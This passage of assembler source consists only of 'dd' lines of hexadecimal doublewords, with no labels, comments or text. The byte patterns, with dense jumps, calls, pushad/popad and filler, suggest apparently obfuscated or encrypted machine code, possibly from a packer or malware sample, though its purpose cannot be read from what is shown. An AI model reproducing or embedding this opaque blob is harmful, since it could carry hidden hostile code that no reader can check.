3B0D79h, 22FCBC78h, 0F134D973h, 37BE9A64h dd 0BDD11600h, 20BF0416h, 0F546836Eh, 0A85EBC51h, 0AB8D8D39h dd 6A062A70h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 18042444h, 42000000h, 0F994C352h, 29ACD916h, 221BE5B5h dd 0F18D8906h, 0BF062233h, 6FF29703h, 2D3185C7h, 5F540622h dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h dd 56460000h, 0BBA603C3h, 0F9A6B868h, 85C730AFh, 62230E5h dd 0 dd 0A85B5FFh, 0BD890622h, 62230FDh, 206595FFh, 6A0622h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h dd 0B4118C3h, 588E3749h, 85894DF2h, 62213E5h, 95FF006Ah dd 6223075h, 1EEBC08Bh, 0A710F5B0h, 420C7C32h, 98B5205Dh dd 78578F9Ah, 0DFD10C81h, 0A5594367h, 8510C311h, 9E8F885h dd 2D000000h, 1417730Fh, 600D7BD8h, 0F559F28Bh, 5A14C181h dd 0C18A0000h, 0F78BFF2Bh, 0E939148Bh, 0Bh, 7B14B8E3h dd 0EC9DEE09h, 81B6C03Ah, 879218EAh, 0F5850901h, 81062232h dd 80FF7EEAh, 79BD317Ch, 81062212h, 2F6192F2h, 0C78B660Dh dd 0EE852h, 6D400000h, 0CEF703ACh, 1EE7DD70h, 0A81717DCh dd 9FE68166h, 48F5BF9h, 9D8BF539h, 6222181h, 0B404EF83h dd 6CFF816Eh, 0FFFFFA6h, 0FFFF9785h, 0EB9CB0FFh, 46DE900h dd 64290000h, 0FC8FB0DBh, 94FB244Fh, 26535CB7h, 0C1CDF21Dh dd 5D1F6B82h, 0B2DD6A14h, 274EFD8Dh, 5AB58EFAh, 0F51C2755h dd 6BBF6D0Ah, 8E41104Ah, 0E2A8E5C8h, 40680465h, 0B541104Ah dd 770ADA06h, 6454904h, 3C5796D5h, 54BF8CF3h, 69031E6Bh dd 473A3B41h, 0AFC6F9B4h, 0C42F1C62h, 7394B3DBh, 4CFA0492h dd 0B0ECD87Ah, 2B1862AFh, 9EA9DFC0h, 0BBA16277h, 0DCD4390Eh dd 34B6C6D2h, 0B582474Fh, 82B78C3h, 1E6E8BC9h, 0B1E25D2Bh dd 48D83372h, 4920558Eh, 4A32837Ch, 0FA8FACF1h, 6C0FB2FBh dd 0CB0A70DCh, 84187D9Ah, 41134074h, 27F51299h, 41134013h dd 5F69B706h, 0ADD26712h, 0C92E4D9Eh, 13400753h, 80C3EA41h dd 175C1769h, 4EED3AF2h, 0A5024F31h, 0F83B68D3h, 0B4D894B9h dd 4A4B71BAh, 2B26698Fh, 4245A85Bh, 9CFD4A35h, 71B6F800h dd 429E1D4Bh, 135C3h, 7A5F4B00h, 0CC227689h, 0EDBF0049h dd 473A31DDh, 1A277D30h, 94AFD974h, 0B0E52447h, 0ABDFDCBDh dd 31D6E2BAh, 703B473Ah, 89EEE331h, 0F146B538h, 9BB90695h dd 3A2BADC1h, 184D6047h, 0E4B8A9D3h, 473A2BD4h, 2BFF0BE1h dd 9B12473Ah, 0BDD417A6h, 0EE3F0874h, 0D12618E9h, 0A7241542h dd 1F641F79h, 649D22FAh, 2B824918h, 78C3B5FAh, 0CA79062Bh dd 0AACEB399h, 0C0CDAC84h, 36428FB8h, 479DD80Dh, 0D6A67EFAh dd 4132026Dh, 75B493FCh, 13179814h, 0FF84F3Ah, 54BA5610h dd 66B7F6CEh, 0EF064549h, 4EFD8D8Ah, 0ED91DE1Dh, 97E7025Eh dd 67197BA8h, 6ABDFA9Ah, 0F9383702h, 7ACC0CE0h, 6A414B7Eh dd 0FD423103h, 0E7AB79Ch, 65DEF35h, 2F455C79h, 7F0652CAh dd 0C0EB555Ch, 0F116A59Ch, 0FBCA5F10h, 0A4F80DE0h, 25226C81h dd 0ACB9C5CAh, 2D85D547h, 4568555Ch, 5C2D4793h, 810DAA55h dd 274083C2h, 71A2A1EAh, 2D709814h, 16A5555Ch, 56F59AD7h dd 63BAE605h, 59266F61h, 3B7AB9EAh, 2D064EDEh, 0C6D3555Ch dd 1D588DB6h, 8634AC7h, 0A1C87707h, 152E5B58h, 0AB5837CFh dd 0D665DDEh, 25646E70h, 0CCE728C4h, 0B7104918h, 513A8E8Ch dd 0F982A1F2h, 39672847h, 1B78AD00h, 0F5BD136h, 0E2411888h dd 88F119CBh, 2604118h, 5330F6E4h, 92CEED52h, 0FD1A2557h dd 672CBB0h, 8ACDE83Dh, 9DC61A59h, 2C24A630h, 439301E5h dd 5E411865h, 0D56E1B2Eh, 81A94380h, 74411865h, 0BE10639h dd 411865FFh, 31589B12h, 0A4A3EB28h, 0AA4F3477h, 0C03F9C0Dh dd 0DEAECB09h, 2C2A3ADFh, 1053BFA5h, 0CE1A92F7h, 23411871h dd 0FC315488h, 4366B790h, 0A72B236h, 4904D631h, 6C4BD191h dd 2Dh, 64AB58BAh, 4ACA6903h, 96E34918h, 0CB085DE6h, 182A0951h dd 8EC1EC41h, 87D4E752h, 0CBA3226Ah, 0EB1A256Ah, 9D709BDAh dd 0Ah, 39027741h, 8AB5C714h, 277AB63h, 0B9F84737h, 5AD2A7AEh dd 473A3B02h, 46ABCCEFh, 3A3B82D6h, 18447747h, 0C9A388CDh dd 473A3BA1h, 3A6BD4A4h, 3A7746FBh, 84A7F44Fh, 0DE6B1158h dd 0D5E91AAh, 2E1E5A07h, 3A3B2A7Eh, 65ECCF47h, 3B7C9814h dd 8879473Ah, 0A48D0039h, 0D54C9081h, 0DFEB81E6h, 0EA473A32h dd 9B60DBADh, 0B37AE7E8h, 9E8BC953h, 96E3F41Fh, 0FB065AE9h dd 4451B691h, 8CD70D3Ah, 211A6EABh, 1AF276F3h, 67536735h dd 0F7C6473Ah, 1952A9h, 5F800000h, 0C91A2952h, 8D2DD1AAh dd 7C73BC2Bh, 0C8731920h, 1D26569Bh, 77A971F2h, 0C3E83D06h dd 105D8EB9h, 618EDF68h, 0B4F92A19h, 3287DCAh, 529FCC7Bh dd 0A2CF1C27h, 0F03D6EDDh, 696FBC8Bh, 5585450h, 4, 8704E883h dd 685C2404h, 69C4h, 56241489h, 0C681E689h, 4, 8704EE83h dd 895C2434h, 0BD552404h, 2AA747BCh, 8D36E2BAh, 8BEA312Ch dd 0C481242Ch, 4, 8904EC83h, 4832424h, 81580424h, 4ECh dd 24148900h, 89243481h, 8F0F3F1Eh, 70810840h, 3F1E8908h dd 24048B0Fh, 81E68956h, 4C6h, 4C68300h, 5C243487h, 5724148Bh dd 0C781E789h, 4, 8704C783h, 0E95C243Ch, 0FFF80D23h, 0F2CEA99Dh dd 9DCB8713h, 0B86D39A7h, 62A7530h, 0E0FFC503h, 5F51A7BCh dd 351755B8h, 28746607h, 4C83C628h, 284601B0h, 65B6773Eh dd 65D93102h, 7978BF40h, 6F77A55Ch, 50CF2AE7h, 34DA29A7h dd 7392DE3h, 57AA191Bh, 501FB5h, 3A399A1h, 7499A7DBh, 56F2D339h dd 73593D79h, 10D3D4D0h, 75A2DC75h, 54A5176Fh, 57D61234h dd 798D1247h, 2709E34Dh, 76A28D8Dh, 300BE323h, 43DFB072h dd 51702867h, 1159323Ch, 7934E588h, 0C9463B2h, 13A6BE60h dd 0D68B472Bh, 2880F61h, 8B000000h, 72DF81F0h, 6602D869h dd 8A2BD3BAh, 0B0C781EAh, 0F52AE790h, 0DE9h, 0A81E9B00h dd 85261303h, 0C55F5DDBh, 0DCBE3953h, 60156203h, 74BBB966h dd 6123CA80h, 12E8h, 3FA58700h, 426C8F29h, 0CCC53EFDh dd 0C13710Eh, 0E993A62Bh, 9, 272987D1h, 6416BA94h, 8B665FEEh dd 840FC6h, 81000000h, 3C68A9E6h, 48A0F10h, 66000000h dd 8B9705BFh, 4860FDAh, 66000000h, 60A926B9h, 0CE8h, 3EEF4800h dd 91D055C7h, 0CE905D72h, 0FEBDB8BBh, 515B5791h, 615E6160h dd 0BE9h, 927B2700h, 385FDA43h, 356E2F1Eh, 0F9B8F7B8h dd 0D2B70F7Dh, 0EB12BBBh, 0E7816Eh, 0E93C8B30h, 0Ah, 8D0816F6h dd 46032DB0h, 8B66C2C0h, 7E8CFh, 58490000h, 0FEE96267h dd 2860FC7h, 60000000h, 0F38B5961h, 5170B866h, 0C8816060h dd 2F5253E2h, 1CCE8061h, 0BE861h, 40BA0000h, 65D6064h dd 13EBBA63h, 6880FEEh, 0F000000h, 8Ah, 0D0815A00h, 7449830h dd 5830Fh, 81660000h, 81489BEAh, 0C94F39E2h, 0EA81FC15h dd 2BDB7BC8h, 80C6BF0Fh, 8E839C2h, 8C000000h, 0CEBE5755h dd 0F55CF79h, 48Fh, 0F4BE6600h, 0BF0F5F89h, 0B430B7F3h dd 0A7F181FCh, 804AFB36h, 6E99BD2h, 9F000000h, 5C23F73Eh dd 0FE8B66B8h, 0ADE68166h, 0F516042h, 81h, 0E8605F00h dd 7, 23E2E81Fh, 596DC559h, 880Fh, 61610000h, 87BE6660h dd 0FCFC61ECh, 13E951h, 0A50000h, 0E7074D71h, 5E75AE8h dd 30DF4451h, 0D6C7E93Dh, 8B605E65h, 61D38BDFh, 10E8h dd 1918EC00h, 0DEBB9C7Bh, 6376F6B5h, 0A740732Ah, 0C8816662h dd 605F8B0Dh, 2820Fh, 8FB40000h, 61F08B66h, 2830F51h, 52000000h dd 0A2B6585Bh, 69EBEB81h, 0B6F9081Dh, 8E9DFh, 547A0000h dd 8F3E6714h, 0BF0F9B2Bh dd 65B866DBh, 0D68B6608h, 4870Fh, 0BA660000h, 0FCF57E0Eh dd 12E8h, 0B3318600h, 1589CE0Eh, 0C4176339h, 0FF71A287h dd 0E8BFE44Bh, 8, 0FD8E82BEh, 888F8592h, 5F5BCD80h, 0EE85Bh dd 2A900000h, 0C9B2F402h, 0D73758B9h, 0B3217F3Eh, 8166FC60h dd 611B2CCFh, 0FE95Eh, 0E3D20000h, 50C8E9D4h, 0C275457Bh dd 78F3B4BAh, 0D3C3812Dh, 81764567h, 5537EAD8h, 6E902h dd 0D8F00000h, 432A13E7h, 0FF5D98Bh, 5F56C6B7h, 0BE8h dd 38EEEA00h, 4882A807h, 2581C390h, 6E9h, 0BA978200h, 59BB4937h dd 8B666060h, 0BA6661FBh, 6661663Eh, 5360C88Bh, 7E9h, 0F3651200h dd 618B3DBh, 88E1815Bh, 6107467Fh, 0FEDD27BFh, 0F98BBA17h dd 0EE8334Ah, 1B000000h, 66194D1Bh, 3546DE1Ah, 16506D9Ch dd 0D810FF2h, 0E8000000h, 7, 2DCD24E3h, 5FCA6D7Eh, 56F4805Eh dd 803FE280h, 68B900C0h, 0E905D3EFh, 0Eh, 0A86AE916h, 9317482Fh dd 7119BEA8h, 0BB669684h, 0FFC3515h, 0AE9FBBFh, 97000000h dd 315638E7h, 0E9BCBDE3h, 38E0F40h, 0F000000h, 14E9F8BFh dd 0D7000000h, 0FD411276h, 7D23A6FBh, 80585CC3h, 0E1F3CBBDh dd 66668192h, 0F556F18Bh, 6ABA665Eh, 0B70FF886h, 8B6052C9h dd 0CA8B66CEh, 66F85861h, 176CD981h, 5830Fh, 81660000h dd 0E9F81DF1h, 9, 0D741ACABh, 0CCA14C98h, 0DE8B66AAh, 61D18B60h dd 6880Fh, 850F0000h, 0 dd 56EF8166h, 80C18BC7h, 0D68106EBh, 51C06F69h, 55D68160h dd 60749F94h, 616016B7h, 9EB86161h, 81329331h, 29B4B3F3h dd 0FD38B38h, 890FD2BFh, 1, 0BF0F51F8h, 0F605AF8h, 38Eh dd 0C88B6600h, 3890Fh, 8B660000h, 816661D3h, 0F025DD3h dd 0BF66CBBFh, 0BE9D735h, 2B000000h, 0A1182450h, 0C3F95BA0h dd 0E950CFF8h, 9, 74F4EC97h, 88F071ADh, 0DE95966h, 34000000h dd 92BFAA5Eh, 2291E05Fh, 1CEA9C7Ch, 2967C981h, 0C2806D50h dd 0E6DE8113h, 0E8265594h, 6, 0E53579C4h, 49B0CB8Dh, 0E981665Ah dd 81666180h, 0E86FFDE1h, 14h, 0B1F8BD0h, 0CF9D635Fh, 4390C8A9h dd 68DFEC50h, 0AC8EA3D3h, 0A232B9BEh, 0E9F95B38h, 0Ah dd 202857BFh, 0DA68D096h, 12E88A96h, 0CA000000h, 0C02CDD7Fh dd 3DC445A8h, 0B13CBE55h, 0AC4C15DAh, 14E970h, 3E330000h dd 0B7D5D523h, 93689F9Bh, 0F4FD108Bh, 0B8881287h, 665AF843h dd 68DAF381h, 0BF0FEF8Ah, 0E08166C6h, 0CBBEF7EAh, 6603D534h dd 8BB024BFh, 0FABF0FD7h, 0DE8DE8Bh, 9E000000h, 40C24B1Dh dd 0A30A5F1Ch, 468D6EF7h, 0E9582BB3h, 10h, 428B7524h, 0A418932h dd 4894CD95h, 935E0FC2h, 31A2F381h, 0FF8180Ah, 589h, 0EC63B900h dd 0FE93000h, 0C3000000h, 0F952E613h, 5E5F9074h, 0C02D263h dd 11E95308h, 8F000000h, 867521E9h, 4C325779h, 0D79AC43h dd 7E68E4E6h, 28E0Fh, 0E78A0000h, 5820Fh, 81660000h, 0B74F71F1h dd 0DA8B6699h, 14E9h, 0B8B7C00h, 67489FBBh, 48D63052h dd 8EB1E864h, 414DD3F2h, 0EE816666h, 8F0F3A4Ch, 9, 38D0Fh dd 0B70F0000h, 0F560F8D6h, 0E7816661h, 816680EDh, 5302CFDEh dd 0ADEA8060h, 840Fh, 59610000h, 1840FFCh, 0F8000000h dd 10870Fh, 0BE90000h, 0C9000000h, 93D529E5h, 5F95EC66h dd 0C0802D8Dh, 7E976h, 822F0000h, 34AF6D55h, 0EEC88107h dd 0B0078636h, 0C881669Dh, 0BF0FBB19h, 1870FF2h, 0F8000000h dd 110366B8h, 8166F849h, 0E98EEEEFh, 9, 230BB31Ch, 0AFD31490h dd 58A0FFAh, 66000000h, 0E2ABD981h, 0C28BD78Bh, 66E5D280h dd 60C927BAh, 0CE8EBB66h, 616CD780h, 8B66F88Ah, 816656C1h dd 59063DEFh, 1DCA8166h, 0F8E8BA68h, 8E958C1h, 0A000000h dd 9A01E0EFh, 6620FA6Eh, 0A7C281h, 56FA8B66h, 59F1BF0Fh dd 81DBBF0Fh, 0D1F0C5E0h, 9E844h, 9F030000h, 0A958AB00h dd 81C49033h, 70C67ED2h, 0D3B55972h, 8243B9FCh, 97BB3AF8h dd 0E87FD043h, 0Fh, 16D1A519h, 0CE5C9941h, 0BC523B8Fh dd 0BBEF5234h, 30828C8Ch, 6890F5Fh, 81000000h, 0B1B211CAh dd 0FC60604Bh, 61FBBF0Fh, 5880Fh, 0AFBE0000h, 613529EEh dd 0BF6606B0h, 0BF0F5FBDh, 8AB6BBDFh, 10E9297Fh, 56000000h dd 9C471DC2h, 815893C7h, 1A263EECh, 6611191Eh, 7E9C18Bh dd 0A3000000h, 759CDD2Fh, 0D38B0693h, 4810Fh, 0BA660000h dd 0CB8BB717h, 6E9h, 0AB9DA700h, 0F898CE7h, 0D081F0BFh dd 6555BE93h, 8166DA8Bh, 0F86B5AC0h, 830FC38Bh, 5, 6628B6BBh dd 1A800F6Bh, 0E8000000h, 0Fh, 32B532D6h, 4BFA1BD2h, 9AFB91h dd 66921F1Ch, 0C522D881h, 0F7816658h, 880F082Ah, 1, 0E9CF8BF5h dd 0Bh, 0C4EE3E64h, 0FBA2216Ch, 0B575C4BDh, 0AE966h, 0BD480000h dd 0B0301CC3h, 0C79F6096h, 0D3B70F51h, 0AE85Ah, 362D0000h dd 0BD2366A0h, 761E017Ch, 11E9h, 70C29B00h, 0AD47D481h dd 26468172h, 0F065D112h, 665AA1DCh, 3D9E981h, 0F0FABA66h dd 26CA8166h, 0DBB70F5Dh, 10E91DB6h, 0BF000000h, 0CAEA5AADh dd 0F91B2736h, 6AE03203h, 668436E9h, 5555E781h, 2DE68166h dd 32DA812Ah, 0F630036h, 0BFFCC7BFh, 26A4BE98h, 490AB966h dd 0D88BDF8Bh, 2890Fh, 0ABB40000h, 9800Fh, 8F0F0000h, 3 dd 81D7B70Fh, 703B12E6h, 11E948h, 78050000h, 0CC93BB7Fh dd 0DCE35A9Ch, 0AE1A962Ah, 0E8811611h, 7, 4E9BA886h, 81E5E5DDh dd 0BA1F82E8h, 13E95B1Dh, 33000000h, 28DD631Fh, 0EC737686h dd 3ECB12B0h, 0F8CA4C0Bh, 0B70FC7ECh, 58A0FF0h, 66000000h dd 0D6ADDB81h, 4820Fh, 0B9660000h, 8B66C27Dh, 0E8C38BD8h dd 0Dh, 70374B50h, 0DAC72D6Ch, 333106CBh, 68C0F38h, 0F000000h dd 8Ch, 0D0805B00h, 10E8F9EFh, 0BC000000h, 0E309263Fh dd 9C4DC455h, 61C232C5h, 66E85B81h, 0A9E3D281h, 0C781665Fh dd 0BF66A5D7h, 74BE079Fh, 50049711h, 0F8595E56h, 13E8h dd 0FFBA0F00h, 0AFA24D1Ah, 0DB0685F3h, 710FFBC4h, 7CA11C22h dd 5FDA8B66h, 8B66D78Bh, 0F8FE8BD1h, 8E9h, 64C24700h, 0FF41841Ah dd 0C2B70F9Bh, 11E9F8h, 6F500000h, 0B355D019h, 0E6A64452h dd 9342B20Fh, 0FC8E4125h, 8F0Fh, 0C88B0000h, 6489B966h dd 0D8D18166h, 6E9CAh, 428E0000h, 77E05557h, 0D8816660h dd 0A6B2CCFFh, 6FB96661h, 0F08166D4h, 0D7818AC0h, 4AD9130Ch dd 0AE9h, 0BDB82200h, 48275D73h, 0E8987F9Fh, 10h, 0A58FD808h dd 0DD951A37h, 7DCE7Ah, 0F55A66D9h, 539BBB66h, 0D88B665Bh dd 0F94FD781h, 11E83B6Fh, 0C1000000h, 0BE527D00h, 115F4903h dd 0FB36F675h, 28350AE1h, 0DD35EE81h, 0E95A030Ch, 0Eh dd 0FE41F5E3h, 86D014EFh, 0F4EE2E6Eh, 14E97E3Eh, 2A000000h dd 0F7279297h, 4DFC68E2h, 0F3BB9F64h, 0C14BCA51h, 0F78FC85h dd 1080h, 0BE900h, 1BD0000h, 0F54F974Dh, 1DB01D15h, 0B8F180FDh dd 0AE9D38Bh, 14000000h, 1CE6F556h, 0BEB1F805h, 72E580E0h dd 10E9h, 0B28C7A00h, 5F363211h, 70B4A164h, 0C70F21C3h dd 0D78166ECh, 0F7809EDDh, 0C381FC06h, 10EDB913h, 3AD570B8h dd 0F2B70F14h, 5E8h, 92C93D00h, 0E86034F9h, 6, 0CA1E6D4Ah dd 525EFDE2h, 665F615Fh, 8166D78Bh, 0FAD4FCBh, 9E9FBB7h dd 60000000h, 0B313FE9Dh, 53FA53B0h, 4059C881h, 8E923F1h dd 0C2000000h, 6549B908h, 0F83811F8h, 0C8F0Fh, 8D0F0000h dd 6, 8B0Fh, 8E80000h, 0C7000000h, 2631C300h, 0FE9775Bh dd 682h, 0B6D88100h, 5A2D44C5h, 66C38B66h, 8166C78Bh, 0BA4BB8E6h dd 5CB1B29Ah, 6860Fh, 0F600000h, 61F9DEBFh, 8A60C68Ah dd 816660CEh, 0F1C5CF6h, 6161C7BFh, 0BD6E5FB9h, 0C6B70F72h dd 0F9D88166h, 80BB66F3h, 7FB9660Eh, 51D6B4ECh, 0EE9h dd 0E6A1A600h, 5CFDE800h, 0F8C4BA72h, 5EB2C0D6h, 2AC78166h dd 8C0F51E9h, 2, 665FA2B0h, 0D8BBC38Bh, 0B32FA10Ch, 850FFC76h dd 6, 54ED681h, 0BF0F48DDh, 66ADB3F3h, 0E87C0DB9h, 10h dd 0B7BF75A0h, 50C4D285h, 7B2F2A7h, 8745BD82h, 0EE9605Bh dd 86000000h, 80646015h, 5B53FFC9h, 883A64E2h, 0F3E880D0h dd 8B616061h, 7E9FAh, 0EC540000h, 0BCF7B1A3h, 0DE96Bh dd 8A000000h, 0BE224B3Dh, 6BC139D3h, 0E9679E22h, 0Bh, 58CEAF47h dd 19B67732h, 0B5E521F9h, 0FDA8BD8h, 1686h, 0EE85700h dd 31000000h, 10A357Ch, 9D9D799Ch, 161FC099h, 665A59F7h dd 8166D08Bh, 0F558ED2h, 98Fh, 3840F00h, 66000000h, 7E9F38Bh dd 89000000h, 0CD950A41h, 8B514894h, 0F605BCEh, 118Ch dd 0CE900h dd 4BE40000h, 0D3DE31CBh, 43C6C7D9h, 6061816Eh, 0CE8h dd 9452A300h, 42DEBE67h, 16779207h, 0FE8DFh, 0FE590000h dd 7BAFFAB7h, 1F84685Ah, 9EF21B4Ah, 615A5BB7h, 0DE9CF8Bh dd 0A2000000h, 0FB004FFCh, 0DDBDCA5Bh, 4EF80CD2h, 4D5495B8h dd 0F1B70F3Dh, 12E9h, 8E6A9F00h, 6312D815h, 1993C66h, 0A64C2711h dd 667A0FBEh, 60201CBAh, 14E9h, 5475DF00h, 0FEDB1059h dd 0CF0EC2C1h, 0F1153110h, 75D933Ah, 8B666177h, 0D18B66F8h dd 8850Fh, 8C0F0000h, 2, 6E9B9B3h, 0F0000000h, 699AFA68h dd 8B0F6074h, 2, 81616160h, 0C99E3DEh, 850F58h, 51000000h dd 0C830F5Eh, 0E9000000h, 7, 2AC4DCA5h, 0E8087E4Eh, 0Bh dd 6C2E7C34h, 0E22247D3h, 5894B4E5h, 0CE96BB7h, 5E000000h dd 0EF4A5B7Bh, 5CED99A0h, 8BD35BC2h, 0D2B70FD7h, 0C8816660h dd 0BF668A3Bh, 0F61F6B4h, 48Ah, 0E6BA6600h, 5BF95616h dd 8B665953h, 8B6660F2h, 25DB80F2h, 3FBE6661h, 0AE9AEh dd 0D0800000h, 0AEF161D2h, 8AC03EFEh, 96E68166h, 9906BE3Ah dd 8B66272Fh, 0F60FCC7h, 685h, 800F00h, 0E8000000h, 8 dd 98D8EB29h, 0D12B9D27h, 5EC7B70Fh, 0ADE4B961h, 880F472Ah dd 4, 0E446BA66h, 6840F60h, 0F000000h, 8Ch, 7CC08100h dd 6178B3CFh, 0FE9h, 7A7E3000h, 1279DBE1h, 5FADE21Ah, 0CD3BC095h dd 4860Fh, 8A530000h, 60605ADEh, 0D30DBF66h, 12657ABEh dd 5E9610Bh, 64000000h, 0BC268830h, 0D7816661h, 7CB7638Bh dd 8E860h, 87D90000h, 9E4D5EE1h, 816660F8h, 5BE27DE2h dd 6187F780h, 38E0FFCh, 0F000000h, 0C9B0D0B7h, 8BDF8B66h dd 0D78166FEh, 8B66C2DBh, 0E9F28BC3h, 12h, 336F8A5Ah, 770D701Eh dd 0E12627DBh, 36CDCFh, 0EE8FF98h, 7F000000h, 3EEB702h dd 0C88842B9h, 1E515F89h, 5AD98B06h, 0C3B6DE81h, 816625E0h dd 0FEDCCE8h, 14E8DFBFh, 44000000h, 3DC619EDh, 9A18572Fh dd 0DCD9260Fh, 0E4477538h, 0B55A6FFBh, 820F5997h, 1, 0CBBE66F5h dd 840F51BAh, 2, 8A5FA0B6h, 38F0FF0h, 80000000h, 0EE9C1CDh dd 0CD000000h, 0ABB1AF10h, 0C5923D1Bh, 50D648E8h, 1277B8F9h dd 0DE85247h, 0A3000000h, 0D7B4BE1Dh, 32158895h, 0BB2B6FF2h dd 5ADF8B66h, 5FDE8A53h, 0BE860h, 803F0000h, 50178F5Ah dd 221291F0h, 860FFFh, 5F000000h, 0AE9h, 0FF8C3D00h, 0BEC5603Ch dd 61FD6AACh, 58E0Fh, 21BF0000h, 602ADC9Bh, 66CF8B66h dd 61F2BFB9h, 0BA661AB6h, 0BE8BD3Dh, 34000000h, 6972C5DCh dd 2F9E8DCh, 5BF94161h, 0E36CB966h, 12E956h, 0D67F0000h dd 512657CDh, 48189567h, 0BCA309E6h, 6052F717h, 0C8BF0F5Bh dd 14E9h, 0ACE14500h, 73291B37h, 0B02FC089h, 1660179Fh dd 0C7A05DC2h, 0EE9D7h, 26B30000h, 0EB28E8A5h, 1ED3D5E9h dd 0F916D990h, 0A18AB966h, 66C68B66h, 6D49EA81h, 0F577F780h dd 0DE9h, 430B9300h, 0C9FDEF9Dh, 27949252h, 34B04A99h dd 19E78166h, 0B96660E9h, 0F60979Ah, 8Dh, 850F00h, 61000000h dd 77DBBA61h, 0E9807843h, 0C810FCEh, 0F000000h, 689h, 0A8C28100h dd 663B0C3Ch, 0CE8C38Bh, 0EF000000h, 8B17B017h, 419464A4h dd 8B95C06Fh, 5E85AFEh, 0BD000000h, 3A4DA24Bh, 2810Fh dd 1BB70000h, 0FE859h, 8F1D0000h, 2BFD7110h, 5708F0F1h dd 488D10FBh, 5E8C5h, 98830000h, 0E83AA5E8h, 11h, 8107072Dh dd 0FD647B81h, 0E8A44FE0h, 0BE397F1h, 58585F73h, 0A5EF8166h dd 1DF681F3h, 0F9258F7Eh, 14E957h, 0E6F00000h, 6A7D421h dd 0F9C25AD5h, 4508DE84h, 0D568C1E4h, 665BEC4Ch, 15CEDF81h dd 0AE9h, 0FE92EC00h, 2E4F8A3Ah, 5660F2FDh, 58D6BF0Fh dd 0BE9h, 2EF93C00h, 0E8BA0E07h, 3E3EB4B7h, 0CE106CBAh dd 0FEBF0F53h, 3800Fh, 8B660000h, 0DBB70FDEh, 0E880Fh dd 9E90000h, 0FC000000h, 92E480E9h, 5096A0C6h, 5E8h, 346F7500h dd 0CB8B4D47h, 0EA81665Bh, 6E9B55Fh, 0 dd 69DC388Dh, 0DE816696h, 4FB73C50h, 0E9D3B70Fh, 7, 69237207h dd 0F385CA3h, 38Dh, 0B9C68000h, 11E9h, 0ECC46E00h, 5D13B0F3h dd 0DA0D2587h, 0B2EFACF9h, 810F4662h, 0 dd 0FE8h, 3972F500h, 0FED82102h, 6B708C20h, 0D5F6F2C3h dd 5AFAB70Fh, 14E8h, 6443200h, 9952C624h, 2E95F5CFh, 8AFB16Bh dd 7A61EDFCh, 4890F7Ah, 66000000h, 5A3150BEh, 4822B3B8h dd 0BB576046h, 153899E1h, 4820F5Ah, 66000000h, 613FCEBEh dd 6E9h, 94C21700h, 0B7ADF5D7h, 8B2EB613h, 75F681C8h, 0B966F672h dd 68234DE6h, 13E9h, 0E9E58900h, 0B0D2991Fh, 68E5D18h dd 0CBE61ADEh, 0DEDFF242h, 88D0Fh, 80600000h, 0BF0F2BEAh dd 0FF561F3h, 8166C6BFh, 0E8036FC7h, 9, 0FF2D348Dh, 0BEEA36D7h dd 5BC88B6Bh, 0D6BF0FF5h, 0E935B360h, 14h, 7131B470h, 9600D42Ch dd 9FA527F0h, 6E595AF2h, 0FC59783Fh, 8312B961h, 5E92D02h dd 3A000000h, 4777191Ch, 6E7093B8h, 28C28130h, 513FCC7Dh dd 4CE161BBh, 50F85A6Eh, 99BF6660h, 0D98B669Bh, 0C78B5B61h dd 12E9h, 0F23C5100h, 0B0CE3709h, 1BF6D064h, 6DAEFE9Eh dd 0B0E7ADFAh, 0D981663Dh, 81660228h, 0FB992F7h, 380h dd 8BE08000h, 8A3C61BEh, 12E97Dh, 62C20000h, 0CB38F36h dd 454E134Bh, 0EA742BEAh, 0A9B9A8C4h, 11E9h, 5C080F00h dd 15E54DAFh, 0CA79E34Dh, 0B6024CE3h, 10E91FBEh, 0A9000000h dd 9635604Ch, 492A51D3h, 0C8D6B0F0h, 0E83814B7h, 8, 0E4548A51h dd 0C305C936h, 2850Fh, 0DA8A0000h, 0FF28B59h, 282h, 0FDF8B00h dd 81h, 14E9F800h, 74000000h, 0C1C76A5Eh, 92938169h, 0DD5ABECBh dd 0F6348099h, 0F4577D7h, 484h, 0CBF6600h, 8B6650D8h, 10E85FF1h dd 7000000h, 9A9447E5h, 23968503h, 3C200EEDh, 0B4E5D533h dd 8B665F14h, 6E9F3h, 8330000h, 0AAEABA00h, 66F7BF0Fh dd 667EC181h, 7E9h, 57034C00h, 6DB1998Ch, 0F0817AB5h, 4D86DD4h dd 0BFC1BF0Fh, 6060DB93h, 0D5BD50B9h, 0D2BF0F45h, 803BC180h dd 0BE96DF1h, 31000000h, 4D932A03h, 0AB548F81h, 0CF81F77Ch dd 6890B547h, 0E856C080h, 0Ah, 0AD4FDFE9h, 0AECF6CAAh dd 0F78BBAACh, 0C136B95Ah, 8B6631C6h, 0D38BF5C8h, 547680BFh dd 76BF6615h, 0C78B66D0h, 1682BA57h, 0F5F0267h, 58Fh, 23C5BF00h dd 10E972D4h, 58000000h, 42971A69h, 378950C6h, 632C14Eh dd 0E992438Ah, 11h, 1B97B99Eh, 36742749h, 5A825259h, 1F29EF09h dd 0A5D280D9h, 116EDDB9h, 73BB6668h, 0CF8B66D5h, 0E9C1BF0Fh dd 5, 0B6C6106Eh, 0BE9DAh, 0FF650000h, 0E94A85DFh, 0C12607D6h dd 5880F5Ah, 0BE000000h, 56DB7F48h, 72EBE981h, 0A1BA45A6h dd 501EA575h, 66535FF9h, 5894B0BBh, 10E8h, 45C5C100h, 0DF9FD5Fh dd 0C0BAB666h, 9F8C5D36h, 0CF8A6053h, 5E616160h, 56DBE980h dd 810Fh, 815F0000h, 0FF8798D2h, 0D68B662Bh, 7850Fh, 8E0F0000h dd 1, 3800FF5h, 80000000h, 0F2BB8FCCh, 663C485Ah, 8BBCE1B9h dd 0E9FE8BC6h, 9, 96AF9FB8h, 2E61D955h, 0E9D78BBFh, 9 dd 0EEE48CF4h, 0FACF1892h, 50F98B97h, 59C6BF0Fh, 12840F51h dd 0E8000000h, 0Ch, 97424EE6h, 760CD07Ah, 0DEC991A9h, 0BE8595Ah dd 71000000h, 311A5BABh, 547F0BFFh, 8166141Bh, 5E960DEBh dd 2FD08166h, 0B70F575Dh, 0B70F58CEh, 0E7BF66FFh, 19810F47h dd 51000000h, 12E9h, 0E8E70700h, 5105E75Ah, 3D30DF44h dd 65D6C7E9h, 5A220E7Fh, 816612B0h, 0FE98ED3h, 0D88AF3B7h dd 0FFBB70Fh, 52B6DAB7h, 0FCB8B66h, 481h, 